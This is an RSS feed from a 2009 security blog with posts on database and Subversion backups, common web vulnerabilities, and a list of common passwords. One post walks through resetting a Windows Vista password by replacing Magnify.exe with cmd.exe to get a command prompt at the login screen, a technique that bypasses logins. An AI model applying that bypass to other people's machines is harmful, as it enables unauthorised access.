<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; permission</title>
	<atom:link href="http://www.hacking-gurus.net/tag/permission/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Mon, 26 Apr 2010 07:25:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to Backing up and Restoring Your MySQL Server</title>
		<link>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:05:55 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=107</guid>
		<description><![CDATA[
		
		
		
		Hello ,
i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.

Download :
      mysql-backup.sh         29-Apr-2009 08:31  488
      mysql-restore.sh  [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "How+to+Backing+up+and+Restoring+Your+MySQL+Server";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.Download :      mysql-backup.sh         29-Apr-2009 08:31  488      mysql-restore.sh        29-Apr-2009 08:31  1.0Kyou need to change permissions for this script to be executed change permissions...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.</p>
<p><span id="more-107"></span></p>
<p>Download :</p>
<pre>      <a href="../../../../../downloads/mysql-backup.sh">mysql-backup.sh</a>         29-Apr-2009 08:31  488
      <a href="../../../../../downloads/mysql-restore.sh">mysql-restore.sh</a>        29-Apr-2009 08:31  1.0K</pre>
<p>you need to change permissions for this script to be executed change permissions using :</p>
<p><em>chmod +x mysql-backup.sh</em></p>
<p><em>chmod +x mysql-restore.sh</em></p>
<p>This script requres mysql server, mysql clinet  and mysqldump to take backup of databases and then to restore it ,</p>
<p>Please post you feedback if you got any problem using this script please comment below .</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=107&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion Backup and Restore</title>
		<link>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/</link>
		<comments>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 17:30:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[subversion]]></category>
		<category><![CDATA[svn]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=92</guid>
		<description><![CDATA[
		
		
		
		

Hello guys ,
i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.
i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Subversion+Backup+and+Restore";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello guys ,i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you ...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><img class="alignleft size-thumbnail wp-image-93" title="subversion ogo" src="http://www.hacking-gurus.net/wp-content/uploads/2009/04/subversion_logo-384x332-150x150.png" alt="subversion ogo" width="150" height="150" /></p>
<p><span id="more-92"></span></p>
<p>Hello guys ,</p>
<p>i hope most of you have subversion installed and running , and you might have got chance        to  take <strong>backup</strong> of you subversion repositories.</p>
<p>i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  need is to change path for backup place and your repositores folder and then enjoy while this script take backup of each repository automatically it saves a lot of time.</p>
<p>Download Both scripts :</p>
<p><a href="http://www.hacking-gurus.net/downloads/backup.sh" target="_self">Backup.sh</a></p>
<p><a href="http://www.hacking-gurus.net/downloads/restore.sh">Restore.sh</a></p>
<p><strong>Below is step by step procedure on how to use this script :</strong></p>
<p><strong>Please if you modify it don&#8217;t remove my name or links</strong></p>
<p>Step 1 ) upload <em>backup.sh</em> to you subversion server ,</p>
<p>Step 2) configure backup.sh according to your server requirements</p>
<p>Step 3) modify permissions for script using :</p>
<p><em>chmod +x backup.sh</em></p>
<p>Step 4) start the backup using : (* you should have permissions to directories on server where your repo exists)</p>
<p><em>sh backup.sh</em></p>
<p>Step 5) check backup logs using :</p>
<p><em>tail -f  {logfilepathhere}</em></p>
<p>Step 6)  Now Backup completed <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  so you can compress backups files using :</p>
<p><em>tar cfz subversion_backup.tar.gz /home/svn/backups/full</em></p>
<p>Step 7) Move backup to new server where you want to take your svn or to some safe place</p>
<p>Step <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Start the restore process &amp; upload restore.sh</p>
<p>Step 9) config paths in restore.sh as in step 2</p>
<p>Step 10) change permission of it using :</p>
<p><em>chmod +x restore.sh</em></p>
<p>Step 11)<em> </em>Execute the restore script :</p>
<p><em> sh restore.sh</em></p>
<p>Step 12) Every thing is restored you may go to bed for sleep now <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Enjoy the script and do post your feedback , if anyone need subversion installation or backup or any other professional service you may contact me adeel.ahmad+hackinggurus<strong> at </strong>networkncc.com .</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=92&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Reasons Websites get hacked</title>
		<link>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/</link>
		<comments>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 18:42:35 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=82</guid>
		<description><![CDATA[
		
		
		
		1. Cross site scripting (XSS)
The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "10+Reasons+Websites+get+hacked";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "1. Cross site scripting (XSS)The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>1. Cross site scripting (XSS)</strong></p>
<p>The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.</p>
<p><span id="more-82"></span></p>
<p>Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.</p>
<p>Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.</p>
<p>How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.</p>
<p><strong><br />
2. Injection flaws</strong></p>
<p>The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”</p>
<p>Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.</p>
<p>How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.</p>
<p><strong>3. Malicious file execution</strong></p>
<p>The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.</p>
<p>Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.</p>
<p>How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.</p>
<p><strong>4. Insecure direct object reference</strong></p>
<p>The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.</p>
<p>Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.</p>
<p>“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”</p>
<p>Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.</p>
<p>How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them</p>
<p><strong><br />
5. Cross site request forgery</strong></p>
<p>The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.</p>
<p>“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”</p>
<p>Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.</p>
<p>How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes. 		<!-- / message --></p>
<p><strong>6. Information leakage and improper error handling</strong></p>
<p>The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.</p>
<p>“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.</p>
<p>Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.</p>
<p>How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.</p>
<p><strong><br />
7. Broken authentication and session management</strong></p>
<p>The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.</p>
<p>“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.</p>
<p>Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.</p>
<p>How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.</p>
<p>Another tip: get rid of custom cookies used for authentication or session management.</p>
<p><strong>8. Insecure cryptographic storage</strong></p>
<p>The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.</p>
<p>“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.</p>
<p>Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.<br />
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.</p>
<p>Furthermore, generate keys offline, and never transmit private keys over insecure channels.</p>
<p><strong><br />
9. Insecure communications</strong></p>
<p>The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.</p>
<p>Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.</p>
<p>“The $17.4-billion retailer&#8217;s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.</p>
<p>How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.</p>
<p><strong><br />
10. Failure to restrict URL access</strong></p>
<p>The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.</p>
<p>The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.</p>
<p>Real-world example: A hole on the Macworld Conference &amp; Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.</p>
<p>How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=82&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lost Windows Vista Password Hack</title>
		<link>http://www.hacking-gurus.net/2009/04/08/lost-windows-vista-password-hack/</link>
		<comments>http://www.hacking-gurus.net/2009/04/08/lost-windows-vista-password-hack/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 17:53:40 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[password meter]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[repair]]></category>
		<category><![CDATA[reset password]]></category>
		<category><![CDATA[reset vista password in 5 minutes]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vista]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=74</guid>
		<description><![CDATA[
		
		
		
		 Have you forgotten your windows vista password ?   you cannot login to your  computer / laptop ? No worries you can hack windows vista to reset your windows vista password.



Requirements :
1 ) Windows Vista DVD
2 ) Computer with Windows Vista
Please follow steps below to reset your Windows Vista Password in 10 minutes.
Steps : 
1. [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/08/lost-windows-vista-password-hack/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Lost+Windows+Vista+Password+Hack";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Have you forgotten your windows vista password ?   you cannot login to your  computer / laptop ? No worries you can hack windows vista to reset your windows vista password.Requirements :1 ) Windows Vista DVD2 ) Computer with Windows VistaPlease follow steps below to reset your Windows Vista Password in 10 minutes.Steps : 1. Insert the Windows Vista...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><span style="color: #339966;"><span style="text-decoration: underline;"><strong><img class="alignleft size-medium wp-image-79" title="forgot password?" src="http://www.hacking-gurus.net/wp-content/uploads/2009/04/forgot_password-281x300.jpg" alt="forgot password?" width="142" height="150" /></strong></span></span><span style="color: #ff0000;"><strong> Have you forgotten your windows vista password ?   you cannot login to your  computer / laptop ?</strong></span><span style="color: #339966;"><strong> </strong><span style="text-decoration: underline;"><strong>No worries you can hack windows vista to reset your windows vista password.</strong></span></span></p>
<p><span id="more-74"></span></p>
<p><span style="color: #339966;"><span style="text-decoration: underline;"><strong><br />
</strong></span></span></p>
<p>Requirements :</p>
<p><strong>1 )</strong> Windows Vista DVD<br />
<strong>2 )</strong> Computer with Windows Vista</p>
<p><em><strong>Please follow steps below to reset your Windows Vista Password in 10 minutes.</strong></em></p>
<p><strong>Steps : </strong></p>
<p><strong>1.</strong> Insert the Windows Vista DVD into the DVD drive and then restart the computer.<br />
<strong>2.</strong> Change Boot Options 1st Priority to Optical Drive.<br />
<strong>3.</strong> When system booting up, if the message &#8220;Press any key to boot from cd&#8221; appears, immediately press Enter.<br />
<strong>4.</strong> On Language Settings, Time and Currency and Keyboard Layout screen, just choose the correct settings then click Next.<br />
<strong>5.</strong> On Install Now screen, click Repair. Note: Click No just in case you get the message: Windows found problems with your computer&#8217;s startup options.<br />
<strong>6.</strong> On the System Recovery Options screen, under Operating System, click Windows Vista then click Next. Then select Command Prompt.<br />
<strong>7.</strong> At the command prompt windows, type the following command then press Enter after typing each command:<br />
<span style="text-decoration: underline;"> c:<br />
cd windows\system32<br />
echo ~takeown /f %1 /r /d y &gt; TakeControlOf.cmd<br />
echo ~icacls %1 /grant administrators:F /t<br />
ren Magnify.exe Magnify.old<br />
ren cmd.exe Magnify.exe</span><br />
<strong>8.</strong> Restart the computer.<br />
<strong>9.</strong> On the Welcome Screen, click the Ease button.<br />
<strong>10.</strong> Check Make items on the screen larger then click OK.<br />
<strong>11. </strong>At the prompt, type the command then press Enter.</p>
<p><span style="text-decoration: underline;">net user Administrator /active:yes<br />
exit</span><br />
<strong>12.</strong> Restart the computer.</p>
<p><strong><br />
13.</strong> At the welcome screen, logon using the local administrator account.<br />
<strong>14.</strong> Access Control Panel then click User Accounts. Select the username of the account you can&#8217;t login to then remove the password.<br />
<strong>15.</strong> Log off on the current local administrator account your are logon to.<br />
<strong>16.</strong> Check if you can logon to your user account now.<br />
<strong>17.</strong> Open<span style="text-decoration: underline;"> c:\windows\system32</span>.<br />
<strong>18.</strong> Right click on Magnify.exe, select Properties -&gt; Security -&gt; Advanced -&gt; Owner -&gt; Edit -&gt; Administrators then click OK.<br />
<strong>19. </strong>Select Edit -&gt; Administrators -&gt; Full Control then click Apply then OK.<br />
<strong>20.</strong> Rename Magnify.old to Magnify.exe<br />
<strong>21.</strong> Open command prompt then type the command then press Enter.<br />
<span style="text-decoration: underline;">net user Administrator /active:no</span></p>
<p>i hope this will help you <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  feedback will be appreciate.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=74&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/08/lost-windows-vista-password-hack/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>800 Most Commonly Chosen Passwords!</title>
		<link>http://www.hacking-gurus.net/2009/04/05/800-most-commonly-chosen-passwords/</link>
		<comments>http://www.hacking-gurus.net/2009/04/05/800-most-commonly-chosen-passwords/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 18:38:55 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[common password]]></category>
		<category><![CDATA[default password]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[password meter]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=67</guid>
		<description><![CDATA[
		
		
		
		Here are most Commonly Chosen Passwords , Please don not use these words as your Passwords. Please use Password Meter [ http://www.passwordmeter.com/ ] .

aaa abc academia academic access ada admin adrian adrianna aerobics airplane albany albatross albert alex alexander alf algebra alias aliases alice alicia alisa alison allison alpha alphabet ama amadeus amanda amber amorphous [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/05/800-most-commonly-chosen-passwords/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "800+Most+Commonly+Chosen+Passwords%21";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Here are most Commonly Chosen Passwords , Please don not use these words as your Passwords. Please use Password Meter  .aaa abc academia academic access ada admin adrian adrianna aerobics airplane albany albatross albert alex alexander alf algebra alias aliases alice alicia alisa alison allison alpha alphabet ama amadeus amanda amber amorphous amy analog...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Here are most Commonly Chosen Passwords , Please don not use these words as your Passwords. Please use Password Meter [ http://www.passwordmeter.com/ ] .</p>
<p><span id="more-67"></span></p>
<p>aaa abc academia academic access ada admin adrian adrianna aerobics airplane albany albatross albert alex alexander alf algebra alias aliases alice alicia alisa alison allison alpha alphabet ama amadeus amanda amber amorphous amy analog anchor andrea andromache andy angela angerine angie animals anita ann anna anne annette answer anthropogenic anvils anything april aria ariadne arlene arrow arthur asd asm asshole athena atmosphere aztecs azure</p>
<p>bacchus badass bailey banana bananas bandit banks barbara barber baritone bart bartman basic bass bassoon batch batman beach beater beauty beaver becky beethoven beloved benz beowulf berkeley berlin berliner beryl beta beth betsie betty beverly bicameral bishop bitch bob bradley brandi brandy brenda brian bridget broadway bsd bumbling burgess</p>
<p>cad camille campanile candi candy cantor cardinal caren carla carmen carol carole carolina caroline carrie carson cascades castle cat catherine cathy cayuga cecily celtics cerulean change charity charles charming charon chat chem chemistry chess chester christina christine christy cigar cindy class classic claudia cluster clusters code coffee coke collins commrades computer comrade comrades condo condom connect connie console cookie cooper cornelius couscous create creation creosote cretin criminal cristina crystal cshrc cynthia</p>
<p>daemon daisy dana dancer daniel danielle danny dapper data dave dawn deb debbie deborah december default defoe deluge denise desiree desperate develop device dial diana diane diet dieter digital disc discovery disk disney dog dos drought dulce duncan</p>
<p>eager earth easier easy eatme edges edinburgh edwin edwina egghead eiderdown eileen einstein elaine elanor elephant elizabeth ellen email emerald emily emmanuel enemy engine engineer enterprise enzyme erenity erica erika erin ersatz establish estate eternity euclid evelyn extension</p>
<p>fairway felicia fender fermat ferrari fidelity field file finite fishers flakes float flower flowers foolproof football foresight format forsythe fourier fred friend frighten fun function fungible</p>
<p>gabriel games gardner garfield gatt gauss george gertrude gibson gina ginger glacier gnu golf golfer gorgeous gorges gosling gouge graham grahm group gryphon gucci guess guest guitar gumption guntis</p>
<p>hack hacker hal hamlet handily happening harmony harold harvey hawaii heather hebrides heidi heinlein hello help herbert hiawatha hibernia hidden holly homework honey horse horus hutchins hydrogen</p>
<p>ibm imbroglio imperial include ingres ingress ingrid inna innocuous internet irene irishman isis</p>
<p>jackie jane janet janice janie japan jasmin jean jeanne jen jenni jennifer jenny jessica jester jill jixian joanne jody johnny joseph joshua joy joyce judith judy juggle julia julie june jupiter</p>
<p>karen karie karina kate kathleen kathrine kathy katina katrina kelly keri kermit kernel kerri kerrie kerry key kim kimberly kirkland kitten knight krista kristen kristi kristie kristin kristine kristy</p>
<p>ladle lambda lamination lana lara larkin larry laura lazarus leah lebesgue lee leland leroy leslie lewis library light linda lisa lisp liz lock lockout lois lori lorin lorraine louis love lucy lynn lynne</p>
<p>macintosh mack maggot magic mail maint malcolm malcom manager mara marci marcy maria marietta mark markus marni mars marty marvin mary master math maurice meagan megan melissa mellon memory mercury merlin mets mgr michael michele michelle mickey mike minimum minsky mit modem mogul moguls monica moose morley mouse mozart mutant</p>
<p>nagel nancy napoleon nasa nepenthe neptune ness net network new news newton next nicole nita nobody noreen noxious nuclear nutrition nyquist</p>
<p>oceanography ocelot office olivetti olivia open operator oracle orca orwell osiris outlaw oxford</p>
